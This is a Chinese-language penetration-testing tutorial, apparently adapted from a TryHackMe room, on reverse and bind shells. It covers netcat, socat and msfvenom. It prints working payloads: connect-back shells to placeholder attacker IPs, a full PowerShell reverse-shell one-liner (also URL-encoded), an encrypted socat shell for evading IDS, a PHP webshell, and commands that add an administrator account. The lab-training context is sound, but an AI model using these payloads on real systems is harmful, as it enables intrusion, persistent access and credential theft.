什么是shell?

在我们深入了解发送和接收 shell 的复杂性之前,了解 shell 实际上是什么很重要。用最简单的术语来说,shell 就是我们在与命令行环境 (CLI) 交互时使用的工具。换句话说,Linux中常见的 bash 或 sh 程序都是 shell 的示例,Windows 中的 cmd.exe 和 Powershell 也是如此。当以远程系统为目标时,有时可以强制运行在服务器(例如网络服务器)上的应用程序执行任意代码。发生这种情况时,我们希望使用此初始访问权限来获取在目标上运行的 shell。

简单来说,我们可以强制远程服务器向我们发送对服务器的命令行访问(反向shell),或者在我们可以连接的服务器上打开一个端口以执行更多命令(绑定shell) )

反弹shell工具

我们将使用多种工具来接收反向 shell 和发送绑定 shell。一般而言,我们需要恶意 shell 代码,以及与生成的 shell 交互的方法。我们将在下面简要讨论其中的每一个:

netcat(网猫)

Netcat 是传统的网络“瑞士军刀”。它用于手动执行各种网络交互,包括在枚举期间抓取横幅之类的东西,但对于我们的使用来说更重要的是,它可以用于接收反向 shell 并连接到连接到目标系统上绑定 shell 的远程端口。默认情况下,Netcat shell 非常不稳定(容易丢失),但可以通过我们将在即将到来的任务中介绍的技术进行改进

socat(索卡特)

Socat 就像类固醇上的 netcat。它可以做所有相同的事情,甚至更多。Socat shell 通常比开箱即用的 netcat shell 更稳定。从这个意义上说,它远远优于 netcat;但是,有两个重要问题:

  1. 语法比较难
  2. 默认情况下,几乎每个Linux发行版都安装了 Netcat 。默认情况下很少安装 Socat。

SocatNetcat 都有用于 Windows 的 .exe 版本

Metasploit -- multi/handler

Metasploit 框架的模块auxiliary/multi/handlersocatnetcat 一样,用于接收反向 shell。由于是 Metasploit 框架的一部分,multi/handler 提供了一种成熟的方式来获取稳定的 shell,并提供了多种进一步的选项来改进捕获的 shell。它也是与meterpreter shell 交互的唯一方式,也是处理分阶段有效载荷的最简单方式

Msfvenom

与 multi/handler 一样,msfvenom 在技术上是 Metasploit 框架的一部分,但是,它作为独立工具提供。Msfvenom 用于动态生成有效载荷。虽然 msfvenom 可以生成除反向和绑定 shell 之外的有效负载,Msfvenom 是一个非常强大的工具

反弹shell存储库

除了我们已经介绍过的工具之外,还有许多不同语言的一些 shell 存储库。其中最突出的一个是Payloads all the Things, Reverse Shell Cheatsheet也很常用,除了这些在线资源,Kali Linux还预装了位于/usr/share/webshells

SHELL的类型

在高层次上,我们对利用目标的两种 shell 感兴趣:反向 shell 和绑定 shell

  • 反向 shell是指目标被迫执行连接回您的计算机的代码。在您自己的计算机上,您可以使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。反向 shell 是绕过防火墙规则的好方法,防火墙规则可能会阻止您连接到目标上的任意端口;然而,缺点是,当通过 Internet 从一台机器接收 shell 时,您需要配置自己的网络以接受 shell。
  • 绑定 shell是指在目标上执行的代码用于启动直接在目标上附加到 shell 的侦听器。然后这将向互联网开放,这意味着您可以连接到代码打开的端口并以这种方式获得远程代码执行。这具有不需要在您自己的网络上进行任何配置的优点,但可能会被保护目标的防火墙阻止。

作为一般规则,反向 shell 更容易执行和调试,但是,我们将在下面介绍这两个示例。不要太担心这里的语法:我们将在接下来的任务中查看它。请注意以下模拟中反向和绑定 shell 之间的区别

反向 Shell 示例:

让我们从更常见的反向shell开始。

十分之九,这就是您想要的——尤其是在像 TryHackMe 这样的 CTF 挑战中。

看看下面的图片。在左侧,我们有一个反向 shell 侦听器——这是接收连接的地方。右边是发送反向shell的模拟。实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成。把左边的图像想象成你自己的电脑,把右边的图像想象成目标。

在攻击机器上:

sudo nc -lvnp 443

在目标上:

nc <LOCAL-IP> <PORT> -e /bin/bash

请注意,在运行右侧的命令后,侦听器会收到一个连接。当运行 whoami 命令时,我们看到我们正在以目标用户身份执行命令。这里重要的是我们正在监听我们自己的攻击机器,并从目标发送连接。

绑定 Shell 示例:

绑定 shell 不太常见,但仍然非常有用。

再一次,看看下面的图片。同样,在左侧我们有攻击者的计算机,在右侧我们有一个模拟目标。只是为了稍微调整一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器——这次我们还告诉它执行cmd.exe。然后,在侦听器启动并运行的情况下,我们从自己的机器连接到新打开的端口。

在目标上:

nc -lvnp <port> -e "cmd.exe"

在攻击机器上:

nc MACHINE_IP <port>

如您所见,这再次让我们在远程机器上执行代码。请注意,这并非特定于 Windows。

这里要理解的重要一点是我们正在监听目标,然后用我们自己的机器连接到它

与此任务相关的最后一个概念是交互性。外壳可以是交互式的,也可以是非交互式的。

  • 交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,那么您将习惯于交互式 shell。这些允许您在执行程序后与程序进行交互。例如,以 SSH 登录提示为例:
    SHELL-反弹shell-小白菜博客
    在这里您可以看到它以交互方式询问用户键入是或否以继续连接。这是一个交互式程序,需要交互式 shell 才能运行。
  • 非交互式shell 不会给你那种奢侈。在非交互式 shell 中,您只能使用不需要用户交互即可正常运行的程序。不幸的是,大多数简单的反向和绑定 shell 都是非交互式的,这会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行 SSH 时会发生什么:

请注意whoami命令(非交互式)执行得很好,但ssh命令(交互式)根本没有给我们任何输出。作为一个有趣的旁注,交互式命令的输出确实在某个地方,但是,弄清楚在哪里是您自己尝试的练习。可以说交互式程序在非交互式 shell 中不起作用

Netcat

如前所述,Netcat 是渗透测试人员工具包中最基本的工具,涉及任何类型的网络。有了它,我们可以做各种各样有趣的事情,但现在让我们关注 shell

Reverse Shells(反弹shell)

使用Linux启动 netcat 侦听器的语法如下:
nc -lvnp <port-number>

  • -l用于告诉 netcat 这将是一个监听器
  • -v用于请求详细输出
  • -n告诉 netcat 不要解析主机名或使用DNS。对此进行解释超出了会议室的范围。
  • -p表示将遵循端口规范。

上一个任务中的示例使用端口 443。实际上,您可以使用任何您喜欢的端口,只要还没有服务使用它即可。请注意,如果您选择使用低于 1024 的端口,则需要sudo在启动侦听器时使用。也就是说,使用众所周知的端口号(80、443 或 53 是不错的选择)通常是个好主意,因为这更有可能通过目标上的出站防火墙规则。

Bind Shells(绑定shell)

如果我们希望在目标上获得绑定 shell,那么我们可以假设已经有一个侦听器在目标的选定端口上等待我们:我们需要做的就是连接到它。其语法相对简单
nc <target-ip> <chosen-port>
在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。

Netcat稳定shell

好的,我们已经捕获或连接到一个 netcat shell,接下来呢?

默认情况下,这些 shell 非常不稳定。按 Ctrl + C 会杀死整个事情。它们是非交互式的,并且经常有奇怪的格式错误。这是因为 netcat“shell”实际上是在终端内运行的进程,而不是真正的终端本身。幸运的是,有很多方法可以稳定Linux系统上的 netcat shell。我们将在这里查看三个。Windows 反向 shell 的稳定性往往要困难得多;但是,我们将在此处介绍的第二种技术对此特别有用。

方法1:Python

我们要讨论的第一种技术仅适用于Linux机器,因为它们几乎总是默认安装 Python。这是一个三阶段过程:

  1. 首先要做的是 use python -c 'import pty;pty.spawn("/bin/bash")',它使用 Python 生成一个功能更好的 bash shell;请注意,某些目标可能需要指定的 Python 版本。如果是这种情况,请根据需要替换pythonpython2python3。此时我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 自动完成或箭头键,而 Ctrl + C 仍会终止 shell。

  2. 第二步是:export TERM=xterm——这将使我们能够访问术语命令,例如clear

  3. 最后(也是最重要的)我们将使用 Ctrl + Z 为 shell 设置后台运行。回到我们自己的终端,我们使用stty raw -echo; fg。这做了两件事:首先,它关闭了我们自己的终端回显(这使我们可以访问制表符自动完成、箭头键和 Ctrl + C 来终止进程)。然后它将 shell 置于前台,从而完成该过程

完整的技术可以在这里看到:

请注意,如果 shell 死机,您自己终端中的任何输入都将不可见(由于禁用了终端回显)。要解决此问题,请reset键入并按回车键

方法2:rlwrap

rlwrap 是一个程序,简单来说,它使我们能够在收到 shell 后立即访问历史记录、制表符自动完成和箭头键;但是,如果您希望能够在 shell 中使用 Ctrl + C,则仍然必须使用一些手动稳定。Kali 默认没有安装 rlwrap,所以先用sudo apt install rlwrap

要使用 rlwrap,我们调用一个稍微不同的侦听器:

rlwrap nc -lvnp <port>

在我们的 netcat 侦听器前面加上“rlwrap”可以为我们提供一个功能更齐全的 shell。这种技术在处理 Windows shell 时特别有用,否则众所周知难以稳定。在处理Linux目标时,可以使用与之前技术的第三步中相同的技巧来完全稳定:使用 Ctrl + Z 将 shell 背景化,然后使用stty raw -echo; fg稳定并重新进入 shell

方法3:socat

稳定 shell 的第三种简单方法是非常简单地使用初始 netcat shell 作为进入功能更全的 socat shell 的垫脚石。请记住,此技术仅限于Linux目标,因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。为了实现这种稳定方法,我们首先将一个socat static 编译的(二进制文件一个编译为没有依赖关系的程序版本)[https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true]传输到目标机器。实现此目的的典型方法是在包含 socat 二进制文件 ( ) 的目录内的攻击机器上使用网络服务器,sudo python3 -m http.server 80然后在目标机器上使用 netcat shell 下载文件。在Linux上,这将通过 curlwget 来完成wget <LOCAL-IP>/socat -O /tmp/socat

为了完整起见:在 Windows CLI 环境中,可以使用 Powershell 完成相同的操作,使用 Invoke-WebRequestwebrequest 系统类,具体取决于安装的 Powershell 版本 ( ) Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
我们将在接下来的任务中介绍使用 Socat 发送和接收 shell 的语法。

使用上述任何技术,能够更改终端 tty 大小是很有用的。这是您的终端在使用常规 shell 时会自动执行的操作;但是,如果您想使用类似文本编辑器的东西来覆盖屏幕上的所有内容,则必须在反向或绑定 shell 中手动完成。

首先,打开另一个终端并运行stty -a. 这将为您提供大量输出。记下“行”和列的值:

接下来,在您的反向/绑定 shell 中,键入:

stty rows <number>

stty cols <number>

填写您在自己的终端中运行命令获得的数字。

这将改变终端的注册宽度和高度,从而允许文本编辑器等依赖此类信息准确的程序正确打开。

socat

Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其作为两点之间的连接器。为了这个房间的利益,这基本上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。socat 所做的只是提供两点之间的链接

反向shell(Reverse Shells)

如前所述,socat 的语法比 netcat 的语法难得多。下面是 socat 中基本反向 shell 侦听器的语法:

socat TCP-L:<port> -

与 socat 一样,这需要两个点(监听端口和标准输入) 并将它们连接在一起。生成的 shell 不稳定,但这可以在Linux或 Windows 上运行,并且等效于nc -lvnp .

在 Windows 上,我们将使用此命令进行回连:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes

“pipes”选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。

这是Linux目标的等效命令:

socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

绑定外壳(Bind Shells)

在Linux目标上,我们将使用以下命令:

socat TCP-L:<PORT> EXEC:"bash -li"

在 Windows 目标上,我们将为我们的侦听器使用此命令:

socat TCP-L:<PORT> EXEC:powershell.exe,pipes

我们使用“pipes”参数来连接 Unix 和 Windows 在 CLI 环境中处理输入和输出的方式。

无论目标是什么,我们都在我们的攻击机器上使用这个命令来连接到等待的监听器。

socat TCP:<TARGET-IP>:<TARGET-PORT> -

稳定的SHELL

现在让我们来看看 Socat 的一个更强大的用途:一个完全稳定的Linux tty 反向 shell。这仅在目标为 Linux 时有效,但要稳定得多。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法:

socat TCP-L:<port> FILE:`tty`,raw,echo=0

让我们把这条命令分解成两部分。像往常一样,我们将两点连接在一起。在这种情况下,这些点是一个监听端口和一个文件。具体来说,我们将当前 TTY 作为文件传递,并将 echo 设置为零。这大约等同于使用 Ctrl + Z,stty raw -echo; fg在 netcat shell 中使用技巧——额外的好处是立即稳定并连接到完整的 tty

第一个侦听器可以连接到任何有效负载;但是,这个特殊的侦听器必须使用非常具体的 socat 命令来激活。这意味着目标必须安装 socat。大多数机器默认情况下没有安装 socat,但是,可以上传预编译的 socat 二进制文件,然后可以正常执行。

特殊命令如下:

socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

这是少数,所以让我们分解一下。

第一部分很简单——我们要连接到我们自己机器上运行的侦听器。命令的第二部分创建一个交互式 bash 会话 EXEC:"bash -li"。我们还传递参数:pty、stderr、sigint、setsid 和 sane:

  • pty,在目标上分配一个伪终端——稳定过程的一部分
  • stderr,确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题)
  • sigint,将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 中终止命令
  • setsid,在新会话中创建进程
  • sane,稳定终端,试图“正常化”它。

要接受的内容很多,所以让我们看看它的实际应用。

与往常一样,在左侧我们有一个在本地攻击机器上运行的侦听器,在右侧我们有一个受感染目标的模拟,使用非交互式 shell 运行。使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上接收到一个完全交互式的 bash shell:

请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如 SSH。然后可以通过设置 stty 值来进一步改进,如上一个任务所示,这将让我们使用 Vim 或 Nano 等文本编辑器。

socat加密Shell

socat 的众多优点之一是它能够创建加密的 shell —— 绑定和反向。我们为什么要这样做?除非您拥有解密密钥,否则无法监视加密的外壳,因此通常能够绕过 IDS 。

我们在上一个任务中介绍了如何创建基本 shell,因此这里不再介绍语法。

我们首先需要生成证书才能使用加密的 shell。这在我们的攻击机器上最容易做到:

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt

此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,或随机填充。
然后我们需要将两个创建的文件合并为一个.pem文件

cat shell.key shell.crt > shell.pem

现在,当我们设置我们的反向 shell 侦听器时,我们使用:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

这将使用我们生成的证书设置一个 OPENSSL 侦听器。verify=0告诉连接不要费心尝试验证我们的证书是否已由公认的权威机构正确签名。请注意,必须在正在侦听的任何设备上使用该证书。

要返回连接,我们将使用:

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

相同的技术适用于绑定 shell:

目标:

socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

攻击者:

socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要为绑定 shell 复制 PEM 文件。

下图显示了来自Linux目标的 OPENSSL 反向 shell。和往常一样,目标在右边,攻击者在左边

此技术也适用于上一个任务中介绍的特殊的、仅适用于Linux的 TTY shell —— 弄清楚它的语法将是本任务的挑战

常见的 Shell 有效载荷

我们很快就会考虑使用 msfvenom 生成有效负载,但在此之前,让我们使用我们已经介绍过的工具看一下一些常见的有效负载。

之前的任务提到我们将研究使用 netcat 作为 绑定shell 侦听器的一些方法,因此我们将从它开始。在某些版本的 netcat(包括nc.exeKali 中包含的 Windows 版本/usr/share/windows-resources/binaries,以及 Kali 本身使用的版本:)中netcat-traditional,有一个-e选项允许您在连接时执行进程。例如,作为一个监听器:

nc -lvnp <PORT> -e /bin/bash

使用 netcat 连接到上述侦听器将在目标上生成一个绑定 shell

同样,对于反向 shell,向后连接nc <LOCAL-IP> <PORT> -e /bin/bash将在目标上产生反向 shell

然而,这并没有包含在大多数版本的 netcat 中,因为它被广泛认为是非常不安全的(这很有趣,是吧?)。在几乎总是需要静态二进制文件的 Windows 上,此技术将非常有效。然而,在Linux上,我们将改为使用此代码为绑定 shell 创建侦听器:

mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

以下段落是对该命令的技术解释。它略高于这个房间的高度,所以如果它现在没有多大意义,请不要担心——命令本身才是最重要的。

该命令首先在 处创建命名管道/tmp/f。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。netcat 侦听器的输出(即我们发送的命令)然后直接通过管道传输到sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入,从而完成循环。

可以使用一个非常相似的命令来发送 netcat 反向 shell

mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

除了使用 netcat connect 语法而不是 netcat listen 语法之外,此命令实际上与前一个命令相同

以现代 Windows Server 为目标时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。

这个命令比较复杂,这里为了简单起见就不直接说明了。然而,它是一种非常有用的单行线,可以随身携带:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

为了使用它,我们需要用适当的 IP 和端口选择替换“”和“”。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的其他方法,例如 webshel​​l)并执行,从而产生反向 shell

对于其他常见的反向 shell 有效负载,PayloadsAllTheThings是一个存储库,其中包含多种不同语言的 shell 代码(通常是用于复制和粘贴的单行格式)。阅读链接页面以查看可用内容非常值得。

Msfvenom

Msfvenom:与有效负载相关的所有事物的一站式商店。

作为 Metasploit 框架的一部分,msfvenom 主要用于为反向和绑定 shell 生成代码。它广泛用于低级漏洞利用开发,以在开发类似缓冲区溢出漏洞利用时生成十六进制 shellcode;但是,它也可以用于生成各种格式的有效载荷(例如.exe, .aspx, .war, .py)。我们将在本会议室中使用的正是后一种功能。关于 msfvenom 的教学内容远远超过一个房间,更不用说一项任务了,因此以下信息将简要介绍对这个房间有用的概念。

msfvenom 的标准语法如下:

msfvenom -p <PAYLOAD> <OPTIONS>

例如,要生成 exe 格式的 Windows x64 反向 Shell,我们可以使用:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

这里我们使用一个有效负载和四个选项:

  • -f <格式>
    指定输出格式。在这种情况下,它是一个可执行文件 (exe)
  • -o <文件>
    生成的负载的输出位置和文件名。
  • LHOST=
    指定要连接回的 IP。使用 TryHackMe 时,这将是您的tun0 IP 地址。如果您无法加载链接,那么您就没有连接到 VPN。
  • LPORT= <端口>
    要连接回的本地计算机上的端口。这可以是 0 到 65535 之间尚未使用的任何值;但是,低于 1024 的端口是受限的,需要以 root 权限运行的侦听器。

分阶段与无阶段

在我们继续之前,必须介绍另外两个概念:分阶段反向 shell 有效载荷和无阶段反向 shell 有效载荷

  • 分阶段有效载荷分两部分发送。第一部分称为stager。这是一段直接在服务器本身上执行的代码。它连接回等待的侦听器,但实际上本身并不包含任何反向 shell 代码。相反,它连接到侦听器并使用连接加载真正的有效载荷,直接执行它并防止它接触磁盘,否则传统的反病毒解决方案可能会捕获它。因此,有效载荷被分成两部分——一个小的初始阶段,然后是在阶段被激活时下载的更大的反向 shell 代码。分阶段的有效负载需要一个特殊的侦听器——通常是 Metasploit multi/handler,这将在下一个任务中介绍。
  • 无阶段有效载荷更为常见——这些是我们迄今为止一直在使用的。它们是完全独立的,因为有一段代码在执行时会立即将 shell 发送回等待的侦听器

无阶段有效载荷往往更易于使用和捕获;但是,它们也比较笨重,并且更容易被防病毒或入侵检测程序发现和删除。分阶段有效载荷更难使用,但初始阶段要短得多,有时会被效率较低的防病毒软件遗漏。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测由 stager 加载到内存中的有效负载,从而使分阶段的有效负载在该区域的效率不如以前

Merterpre

关于 Metasploit,另一个需要讨论的重要内容是Meterpreter shell。Meterpreter shell 是 Metasploit 自有品牌的全功能 shell。它们完全稳定,这使得它们在使用 Windows 目标时非常有用。它们也有很多自己的内置功能,例如文件上传和下载。如果我们想使用 Metasploit 的任何后期开发工具,那么我们需要使用 meterpreter shell,不过,这是另一个话题了。meterpreter shell 的缺点是它们必须被 Metasploit 捕获

有效载荷命名约定

使用 msfvenom 时,了解命名系统的工作原理很重要。基本约定如下

<OS>/<arch>/<payload>

例如:

linux/x86/shell_reverse_tcp

这将为 x86 Linux目标生成一个无阶段的反向 shell

此约定的例外是 Windows 32 位目标。对于这些,没有指定拱门。例如:

windows/shell_reverse_tcp

对于 64 位 Windows 目标,arch 将被指定为正常 (x64)。

让我们进一步分解有效负载部分。

在上面的示例中,使用的有效负载是shell_reverse_tcp. 这表明它是无阶段有效载荷。如何?无阶段有效载荷用下划线 ( ) 表示_。与此有效负载等效的阶段是:
shell/reverse_tcp

由于分阶段有效载荷用另一个正斜杠 ( ) 表示/

此规则也适用于 Meterpreter 负载。一个 Windows 64 位分阶段的 Meterpreter 负载看起来像这样

windows/x64/meterpreter/reverse_tcp

Linux 32 位无阶段 Meterpreter有效负载如下所示:

linux/x86/meterpreter_reverse_tcp

除了msfconsole手册页之外,使用 msfvenom 时要注意的另一个重要事项是:

msfvenom --list payloads

这可用于列出所有可用的有效负载,然后可以通过管道将其输入grep以搜索一组特定的有效负载。例如:

这为我们提供了一整套针对 32 位目标的Linux meterpreter 有效载荷

Metasploit multi/handler模块

Multi/Handler 是一个用于捕获反向 shell 的极好的工具。如果您想使用 Meterpreter shell,这是必不可少的,并且是使用分阶段有效负载时的首选。

幸运的是,它相对容易使用

  1. 打开 Metasploitmsfconsole
  2. 输入use multi/handler,然后按回车

我们现在准备开始多/处理程序会话。让我们看一下使用options命令的可用选项:

我们需要设置三个选项:payload、LHOST 和 LPORT。这些都与我们在使用 Msfvenom 生成 shellcode 时设置的选项相同——一个特定于我们目标的有效载荷,以及一个我们可以接收 shell 的监听地址和端口。请注意,必须在此处指定LHOST ,因为 metasploit 不会像 netcat 或 socat 那样监听所有网络接口;必须告诉它一个特定的地址来监听

  • set PAYLOAD
  • set LHOST
  • set LPORT

我们现在应该准备好启动侦听器了!

让我们使用exploit -j命令来做到这一点。这告诉 Metasploit 启动模块,在后台作运行

您可能会注意到,在上面的屏幕截图中,Metasploit 正在侦听 1024 以下的端口。为此,Metasploit必须以 sudo 权限运行。

当上一个任务中生成的分阶段有效载荷运行时,Metasploit 接收连接,发送有效载荷的剩余部分并为我们提供一个反向 shell:

请注意,因为 multi/handler 最初是在后台运行的,所以我们需要sessions 1再次将其置于前台运行。这是唯一运行的会话。如果有其他会话处于活动状态,我们将需要使用sessions查看所有活动会话,然后使用sessions 选择适当的会话到前台

WebShells

有时我们会遇到允许我们以某种方式上传可执行文件的网站。理想情况下,我们会利用这个机会上传激活反向或绑定 shell 的代码,但有时这是不可能的。在这些情况下,我们会改为上传webshel​​l

“Webshel​​l”是在网络服务器(通常使用PHP或 ASP 等语言)中运行并在服务器上执行代码的脚本的通俗术语。从本质上讲,命令是通过 HTML 表单或直接作为 URL 中的参数输入到网页中的,然后由脚本执行,结果返回并写入页面。如果有防火墙,这将非常有用,甚至可以作为进入完全成熟的反向或绑定 shell 的垫脚石

由于PHP仍然是最常见的服务器端脚本语言,让我们看一下一些简单的代码。

在一个非常基本的单行格式中:

<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

这将在 URL 中获取一个 GET 参数,并在系统上执行它shell_exec()。从本质上讲,这意味着我们之后在 URL 中输入的任何命令都?cmd=将在系统上执行——无论是 Windows 还是Linux。“pre”元素用于确保结果在页面上的格式正确。

让我们看看实际效果:

请注意,在浏览 shell 时,我们使用了带有命令“ifconfig”的 GET 参数“cmd”,它正确地返回了盒子的网络信息。换句话说,通过将ifconfig命令(用于检查Linux目标上的网络接口)输入到我们的 shell 的 URL 中,它在系统上执行,并将结果返回给我们。这适用于我们选择使用的任何其他命令(例如whoami, hostname,arch等)

如前所述,Kali 默认提供多种 webshel​​l /usr/share/webshells,包括臭名昭著的PentestMonkey php-reverse-shell——一个用PHP编写的完整反向 shell 。请注意,大多数通用的、特定于语言(例如 PHP)的反向 shell 是为基于 Unix 的目标(例如 Linux 网络服务器)编写的。默认情况下,它们不会在 Windows 上运行

当目标是 Windows 时,通常最容易使用 web shell 或使用 msfvenom 以服务器语言生成反向/绑定 shell 来获取 RCE。使用前一种方法,获取 RCE 通常是通过 URL 编码的 Powershell 反向 Shell 完成的。这将作为参数复制到 URL 中cmd:

powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22

这与我们之前说的powershell反弹shell 相同,但是,它已经过 URL 编码,可以在 GET 参数中安全使用。请记住,仍然需要在上面的代码中更改 IP 和端口

The Next station

好的,我们有一个外壳。怎么办?

我们已经介绍了很多生成、发送和接收 shell 的方法。这些都有一个共同点,那就是它们往往不稳定且没有交互性。即使是更容易稳定的 Unix 风格的 shell 也不是理想的。那么,我们能做些什么呢?

在Linux上,理想情况下,我们会寻找机会获得对用户帐户的访问权限。SSH 密钥存储在/home/<user>/.ssh通常是执行此操作的理想方式。在 CTF 中,也经常会在盒子的某个地方找到凭据。一些漏洞还允许您添加自己的帐户。特别是像[Dirty C0w]或可写的 /etc/shadow/etc/passwd 之类的东西会很快让你通过 SSH 访问机器,假设 SSH 是打开的。

在 Windows 上,选项通常更为有限。有时可以在注册表中找到运行服务的密码。例如,VNC 服务器经常将密码以明文形式存储在注册表中。某些版本的 FileZilla FTP服务器还在 XML 文件中保留C:\Program Files\FileZilla Server\FileZilla Server.xml凭证C:\xampp\FileZilla Server\FileZilla Server.xml。这些可以是 MD5 哈希或纯文本,具体取决于版本。

理想情况下,在 Windows 上,您将获得以 SYSTEM 用户身份运行的 shell,或以高权限运行的管理员帐户。在这种情况下,可以简单地将您自己的帐户(在管理员组中)添加到机器,然后通过RDP、telnet、winexe、psexec、WinRM 或任何其他方法登录,具体取决于机器上运行的服务.

其语法如下:

net user <username> <password> /add

net localgroup administrators <username> /add

这项任务的重要收获:

反向和绑定 shell 是在机器上获得远程代码执行的基本技术,但是,它们永远不会像本机 shell 那样具有完整的功能。理想情况下,我们总是希望升级为使用“正常”方法访问机器,因为这总是更容易用于进一步利用目标,这一步骤我们讲在后续学到:称为提权